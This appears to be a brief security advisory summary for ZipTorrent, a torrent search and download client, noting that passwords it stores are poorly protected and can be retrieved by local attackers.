Summary
ZipTorrent allows you to search & download torrents quickly and easily on popular torrent search engines without leaving the software, and allows you to sort results by size, name, seeders & leechers, categories, and more!

Lack of proper protection of the passwords used by ZipTorrent allows local attackers to retrieve them.
